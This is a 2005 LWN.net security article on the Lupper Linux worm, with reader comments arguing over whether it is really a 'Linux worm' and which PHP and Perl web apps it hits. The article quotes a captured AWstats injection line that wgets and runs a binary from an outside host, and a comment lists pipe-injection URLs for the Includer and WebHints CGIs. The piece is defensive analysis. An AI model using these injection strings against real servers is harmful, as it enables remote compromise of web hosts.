Weekly Edition
Return to the Security pageSponsored link
Vyatta –
Linux & Open Source
Alternative to Cisco –
Advanced Routing,
Firewall, VPN, QoS..
Free Download ->
| |||||||||||
The Lupper worm
Security companies and Linux critics worldwide have been happy to proclaim
the existence of the "Lupper" worm, the first Linux-based worm to hit the
net in years. This worm gets into systems by way of the various PHP
XML-RPC vulnerabilities which have been reported (and fixed) over the last
year. Infected systems, apparently, become part of a distributed bot net,
waiting for somebody to tell them what to do.
According to McAfee's Lupper page, there are a couple of signs of infection: processes listening on UDP ports 7111 and 7222, and a /tmp/lupii file. Attempted infections can be seen in the web server logs; they look something like either of following:
GET /awstats/awstats.pl?configdir=|echo;echo YYY; \
cd /tmp;wget 24.224.174.18/listen;chmod +x listen; \
./listen 216.102.212.115;echo YYY;echo|
POST /drupal/xmlrpc.php
(The first line has been broken up, and %-escapes have been replaced for readability). The above lines were taken directly from the LWN.net server log. Thus far, our server has bravely fended off Lupper attacks from all of five different sources. So it looks like the attack of the Lupper worm is unlikely to bring down the net as a whole. In fact, it would be easy to write off this worm altogether. It attacks vulnerabilities which few systems had in the first place. Said vulnerabilities were disclosed - and fixed - months ago. Even Fedora Legacy - which has not produced an update since September 15 - managed to get a fix out for this problem. Any system whose administrator applies security updates will not have been affected by this particular worm. Most administrators need not go into red-alert status over this one. That said, it behooves us to notice that Lupper is, indeed, a Linux worm propagating in the wild. Any of us who feel that, because we are running Linux, we are immune from worms and other such annoyances have just received a gentle warning. Someday, somebody will write a worm which exploits a vulnerability which is widespread and which has not been known for months. Indeed, they might happen upon a hole which has not been disclosed at all. On that day, we may all find ourselves feeling rather less smug. (Log in to post comments)
The Lupper worm Posted Nov 10, 2005 6:55 UTC (Thu) by cventers (subscriber, #31465) [Link] Bah, "Linux worm". A "Linux worm" would be a worm that enters via akernel vulnerability or some standard interface adopted by common distributions. Calling a PHP security failure a "Linux worm" seems cheap to me. Not saying a Linux worm couldn't/doesn't happen, but would we call a worm that affected Apache on Windows a Windows worm? (Perhaps some would, but that wouldn't be at all fair either)
The Lupper worm Posted Nov 10, 2005 8:04 UTC (Thu) by emkey (guest, #144) [Link] The original internet worm depended on bugs in sendmail, finger and rexec to propogate. Meaning that Lupper is in fact a worm.
Linux has a better design then windows from a security perspective. That doesn't make it immune. I fully expect to see a major virums or worm that causes siginficant damage in the next two years. At a guess I'd say the Linspire folks will be somewhere near the focal point.
For more info on the original internet worm check out the following link.
http://world.std.com/~franl/worm.html
The Lupper worm Posted Nov 10, 2005 8:33 UTC (Thu) by cventers (subscriber, #31465) [Link] I have the source code to that worm somewhere in my home directory :)Perhaps I misspoke. What I meant to communicate is that while Lupper is a worm, calling it a "Linux worm" rather than a "PHP worm" is simply misleading. Granted, I haven't looked at PHP's XML-RPC implementation, but I imagine that the worm could have just as easily propogated on other environments with a PHP XML-RPC implementation.
The Lupper worm Posted Nov 10, 2005 9:20 UTC (Thu) by eru (subscriber, #2753) [Link] Bah, "Linux worm". A "Linux worm" would be a worm that enters via a kernel vulnerability or some standard interface adopted by common distributions. Calling a PHP security failure a "Linux worm" seems cheap to me.Well, worms infesting the Microsoft webserver, IIS, have often been carelessly called "Windows worms" by us Linux fans. Sauce for the goose, sauce for the gander...
The Lupper worm Posted Nov 10, 2005 9:24 UTC (Thu) by cventers (subscriber, #31465) [Link] Fair enough... those should be called "IIS worms" too. However, keep inmind that IIS and Windows are both produced by one vendor. PHP and Linux certainly are not.
IIS and IE Vulnerabilities as "Windows Worms" Posted Nov 10, 2005 18:38 UTC (Thu) by AnswerGuy (subscriber, #1256) [Link] Given that IIS and IE come from the vendor with their OS, are installed by default and without an install-time option for omission, the fact that IIS, IE, and the MS Office components are not portable to any other OS, and Microsoft's disengenuous efforts to proclaim that IE is some sort of integrated component of the system it doesn't seem at all unfair to refer to automated vulnerability exploites of bugs in IIS, IE, or even MS Office, as "Windows worms."
It's not the same.
These Lupper bugs are in some relatively obscure, optional component of the system which is portable to any version of UNIX on any platform. The are "Linux" programs only in as much as they are included with Linux distributions and primarily maintained and developed by people who just happen to use Linux as the development platform.
JimD
Is it a "Linux worm" Posted Nov 11, 2005 20:02 UTC (Fri) by giraffedata (subscriber, #1954) [Link] What the author means to convey by "Linux worm" is that it's a worm that can and does affect Linux. He's referring to the well discussed concept that the vast majority of worms out there causing concern cannot or do not affect Linux systems."PHP worm" would not capture that important aspect of this worm. It's probably an overabbreviation to say "Linux worm." Maybe there are no two or three words that make the point without misleading.
The Lupper worm Posted Nov 10, 2005 11:46 UTC (Thu) by job (subscriber, #670) [Link] Please don't use language such as that your server has "fended off"Lupper attacks. No, it has not. Yes, I know it's supposed to be funny but it ceases being funny when marketroids started saying those things with a straight face. Your server did nothing, just as it's supposed to. Just because I walk past a sign one morning saying "jump off this bridge" in Chinese doesn't mean I have avoided an attack by not deciphering the message and blindly follow it. That language has only led to a situation where people brag about how they put their IIS server behind a "firewall" so it would be protected from "attackers". Sigh.
The Lupper worm Posted Nov 10, 2005 13:50 UTC (Thu) by wookey (subscriber, #5501) [Link] Erm, but they did put their server behind a firewall, largely to protect it from attack. OK, in the end it all boils down to executing code, but there is a material difference between malicious code from outside and code from inside you installed yourself and wanted to run. People running code that has the effect of trying to get into your box without permission can perfectly reasonably be described as 'attacking' your box.
I think you've lost this particular language argument. I'm not even sure what alternative you are proposing?
The Lupper worm Posted Nov 10, 2005 14:21 UTC (Thu) by jabby (guest, #2648) [Link] I think he was mostly referring to the "fended off" terminology. I think that "fending off" carries a nuance of meaning in common usage that would imply that the server had _actively_identified_ the attack and specifically chose to ignore/deny it. Simply not understanding the request wouldn't qualify as an active defense, and certainly not a "brave" defense. :-)
I imagine he would suggest replacements along the lines of "dutifully ignored" or "failed to succumb to" or "drooled mindlessly at"... :-)
I'm not sure what more closely reflects reality. It would depend on how the patches were written, I suppose. If they are written to solve the problem at a low level (that is, causing the use of a pipe in the command to simply fail to parse), then it might be seen as more passive. If the patches were written at a higher level (where they would recognize a pipe being passed into a particular function and then not only refuse to execute, but also flag the situation as a potential attack), then that could be considered to be more of an active defense.
The Lupper worm Posted Nov 10, 2005 15:03 UTC (Thu) by nicku (subscriber, #777) [Link] drooled mindlessly atCheerfully concise.
The Lupper worm Posted Nov 10, 2005 16:20 UTC (Thu) by cdmiller (subscriber, #2813) [Link] Is there a website where we may contribute a list of Luper infected hosts detected in our log files?
It would be nice for a central site to send those domain contacts an email letting them know they have a problem, how to fix it, and they have been added to a list of known troubled sites. The community could nip this worm in the bud in a fast and frinedly way.
The Lupper worm Posted Nov 10, 2005 18:46 UTC (Thu) by HenrikH (guest, #31152) [Link] Has any well known site been hit by this worm? When IIS-worms hit there is usually a lot of high profile companies that have their websited brought down, and it would be interesting to see how well patched the Linux run sites are.
The Lupper worm Posted Nov 11, 2005 20:15 UTC (Fri) by rickmoen (subscriber, #6943) [Link] As it turns out, this worm attacks input-validation bugs (more like: hapless failure to attempt input validation) in old versions of PHPXMLRPC, the AWstats Web-stats CGI, and the WebHints "thought for the day" CGI. To clarify, PHPXMLRPC is a messaging library, coded in PHP, that gets shipped with certain large, developed PHP applications: Ampache, b2evolution, egroupware, MailWatch for MailScanner, Nucleus CMS, phpmyfaq, phpPgAds, phpgroupware, PostNuke, TikiWiki, and Xaraya; plus older versions of Civicspace and Drupal. It is not included in distributions of PHP itself. It should not be confused with the original C-code xmlrpc codebase, nor the xmlrpc-epi optional PHP extension (also in C), which has shipped with PHP since 4.10. I'm not aware of a single Linux distribution that installs by default either of the two (notoriously buggy) Perl CGIs, nor the buggy third-party PHP add-on. People who run Linux Web/intranet servers should certainly be concerned if they're in the habit of manually installing notoriously buggy CGIs and overarchitected and poorly audited Web apps. However, so should people with those same bad habits who run Web servers on Windows, HP/UX, AIX, *BSD, Solaris, etc. -- since those same vulnerabilities, and probably the "Lupper worm" will knock down their rotten front doors equally well on any OS where those very optional codebases have been installed. If Lupper is a "Linux worm" because it's possible to go far out of your way to install vulnerable add-on software not ordinarily included, and thus engineer an at-risk system, and even though it's almost certainly not OS-specific at all, then so are ILOVEYOU and Code Red, if they can be induced to run in VMware or Win4Lin installations hosted on Linux systems. At that point, the term becomes effectively meaningless.
Rick Moen
The Lupper worm Posted Nov 12, 2005 0:46 UTC (Sat) by rickmoen (subscriber, #6943) [Link] I wrote:...the "Lupper worm" will knock down their rotten front doors equally well on any OS where those very optional codebases have been installed. Before someone else quibbles with that absolute-OS-neutrality statement, I'll do so myself: Having taken a short glance at the vulnerable code, my surmise is:
It's possible there are OS-dependencies I didn't spot. However, it seems likely that, in that case, equivalent attack ("worm") code could be trivially crafted and aimed at any other OS (with the shell-facility exceptions noted - 'ware Cygwin!) that had been stupidly retrofitted with the same vulnerable add-on Web software. Rick Moen
The Lupper worm Posted Nov 11, 2005 20:17 UTC (Fri) by giraffedata (subscriber, #1954) [Link] This worm gets into systems by way of the various PHP XML-RPC vulnerabilitiesIt's really PHP in general, not specifically XML-RPC. The PHP XML-RPC program is just one that opens this hole. In the article, we see one other -- Awstats, and there are many more.
The Lupper worm Posted Nov 11, 2005 21:43 UTC (Fri) by rickmoen (subscriber, #6943) [Link] giraffedata wrote:It's really PHP in general, not specifically XML-RPC. Though I'm a bit down on (a lot of) PHP code and practices, the PHP-relevant vulnerability in this particular case was one in an old, poorly coded version of an add-on messaging library (PHPXMLRPC) written in PHP, that is not included with PHP itself. The PHP XML-RPC program is just one that opens this hole. Yes, though the correct verb would be "was" (and it's technically a library, not a program as such). In the article, we see one other -- Awstats, and there are many more. I see exactly three: input validation bugs in old versions of the PHP-coded third-party PHPXMLRPC library, plus input validation bugs in old versions of two Perl CGI scripts (AWstats and WebHints). I'm not aware of any Linux or *BSD that defaults to installing any of those, old versions or not. I predict that there will be a small run of defacements (but not host compromises) of Web servers that either run those buggy CGIs exposed to the public, or run certain grotesquely overfeatured developed PHP application and never update them. My advice is, of course; Don't do that, then -- on any operating system. Rick Moen
The Lupper worm Posted Nov 12, 2005 0:29 UTC (Sat) by giraffedata (subscriber, #1954) [Link] I see exactly three: input validation bugs in old versions of the PHP-coded third-party PHPXMLRPC library, plus input validation bugs in old versions of two Perl CGI scripts (AWstats and WebHints) OK; the long list I saw was just various names for the same programs. Plus a fourth: "Includer".
The Lupper worm Posted Nov 12, 2005 20:26 UTC (Sat) by rickmoen (subscriber, #6943) [Link] giraffedata wrote:OK; the long list I saw was just various names for the same programs. Plus a fourth: "Includer". Good catch. I should have paid more attention to that list of files /tmp/lupii scans for in its scrutiny of one's Web document space, and less to the details of McAfee's analysis. "The Includer" at http:// www.smarterscripts.com/includer/ is, you'll not be surprised to hear, yet another buggy Perl CGI script ("free" but proprietary for lack of a real licence) with a really bad history of input validation bugs. Author's description: "The Includer will grab the content of any file and display it where you want with the use of a simple Javascript tag."
The Lupper worm Posted Nov 17, 2005 8:55 UTC (Thu) by ggiunta (guest, #30983) [Link] Sorry, but the exteremely detailed analysis of the attack misses one crucial point: the php-xmlrpc vulnerability affects the PEAR xmlrpc package too (since both libs share the same ancestry), AND pear is installed by default with most recent php distributions, be them installed from source or as rpm (afaik pear uses xml-rpc to update itself, so the xmlrpc component is p[art of the core distribution).In fact I am quite confident in saying that most major distros shipped updates to their PEAR packages to patch that hole. Of course those packages might have been part of some 'development' or 'extras' component, not installed when 'default' installls are chosen.
The Lupper worm Posted Nov 17, 2005 9:38 UTC (Thu) by rickmoen (subscriber, #6943) [Link] Data point: Your assertion lacks merit as to Debian, for starters: That implementation appears to be furnished by package phpgroupware-xmlrpc, which would NOT be "installed by default with PHP". This is judging by the text of relevant Debian Security Advisories (DSAs).Second data point: RHEL4 appears to put that library in package php-pear, likewise not "installed by default with PHP". (Fedora and Mandriva, ditto.) Third data point: Gentoo Linux appears to put that library in package dev-php/PEAR- XML_RPC, likewise not "installed by default with PHP". Fourth data point: I cannot find a Slackware package of any sort that includes it. Maybe you'll have better luck - or maybe it isn't packaged. Fifth data point: Ubuntu Linux appears to put that library in package php4-pear. Comments as before. In short, PEAR xmlrpc (like PHPXMLRPC) appears to be a library you have to go quite a ways out of your way to install, if using common distros' package regimes -- entirely without regard to the thing's presence in the upstream PEAR collection. Disclaimer: I'm no expert on this, in part because the very idea of implementing the xml-rpc network protocol in PHP makes me distinctly queasy. But I'd still love it if I got sent a dollar in token consulting fees every time someone sends me on a research wild-goose chase. ;-) Rick Moen
The Lupper worm Posted Nov 21, 2005 1:01 UTC (Mon) by ggiunta (guest, #30983) [Link] Thanks for spending your time doing all this research and posting it here.I hope it really is of help to "the community" (even though it is posted a bit late with regards to the actual exploit details publication date, the mere fact that the 'lupper worm', having been released so recently, is making victim,s is a clear indicator that there is a great need of education for linux sysadmins). BTW: 'going out of your way' might not be such an uncommon practice, if all you want is to have up and running in a short time such unusual web apps as message boards, blogs or cms. (please note that I'm not trying to pass the blame in any way any onto the distro maintainers / kernel hackers. I was quite surprised too, when the exploit was revealed, to find out the sheer number of apps the lib had found its way into - and I am one of the maintainers...)
Not the only worm Posted Nov 11, 2005 23:54 UTC (Fri) by smoogen (subscriber, #97) [Link] I am wondering if the SSHD automated attacks would also be a worm. If so.. they have been a larger threat in the last 6 months than the xmprc worm
Lupper analysis write-up Posted Dec 15, 2005 3:57 UTC (Thu) by rickmoen (subscriber, #6943) [Link] I've finally written up an entry on Lupper in my Linux virus bestiary: Name: Lupper (Lupii, Plupii) This worm — exploiting vulnerabilities already fixed or eliminated for three, five, six, and eight months, respectively — derived from the earlier Slapper worm codebase. Thus far, it exists only as an i386 Linux binary, fetched to target Web servers' /tmp directory by one of the four obsolete, vulnerable Web apps, and then run as httpd. One of those exploits (against PHPXMLRPC) would work equally well (after recompiling the worm) on any operating system. The others invoke Bourne-like shells (and thus are feasible on any Unix, but on MS-Windows only with Cygwin, etc.). The AWstats exploit also calls wget, via buggily-parsed URL input of the form "configdir=|program". The Includer and WebHints CGIs' failures to validate input are total: URLs "http://www.example.com/hints.pl?|program|", "http://www.example.com/includer.cgi?|program|", and "http://www.example.com/includer.cgi?template=|program|" all remotely execute "program". However, it's important to note that neither is packaged by Linux distributions: Either would have to be downloaded and installed manually by an admin of uncommonly bad judgement. The AWstats CGI, by contrast, is sometimes packaged but never to the best of my ability to tell installed by default, in any Linux distribution: It has historically been notorious for input validation flaws, and thus is best run in its optional configuration that generates static HTML pages, rather than its default CGI mode. PHPXMLRPC is usually offered via optional, supplemental PHP-add-ons packages but is never to the best of my ability to tell installed by default, in any Linux distribution. Like the related and identically vulnerable (fixed the same day, but not attacked so far by this worm) PEAR XML-RPC v. 1.3.3 messaging library, it would probably get installed as part of overfeatured, developed PHP-based Web applications such as Ampache, b2evolution, egroupware, MailWatch for MailScanner, Nucleus CMS, phpmyfaq, phpPgAds, phpgroupware, PostNuke, TikiWiki, and Xaraya; plus older versions of Civicspace and Drupal. (The two PHP-coded XML-RPC implementations should not be confused with PHP's optional xmlrpc-epi extension, in C, included with PHP since v. 4.10, or various other non-PHP implementations.) One lesson that's common to all of those exploits is that Linux Web-server admins need to be extra careful of applications that will process public data, e.g., via URL input, and doubly careful (lest they miss needed fixes) of any they choose to install outside their distributions' regular maintenance regimes. As it happens, the worm requires rather rare (not to mention old) Web-app vulnerabilties, and extremely few systems have been reported affected. ("Affected" means that the attacker can compromise the httpd process but not the Web host as a whole, without some separate and more serious method to compromise the machine.) -----
|
|||||||||||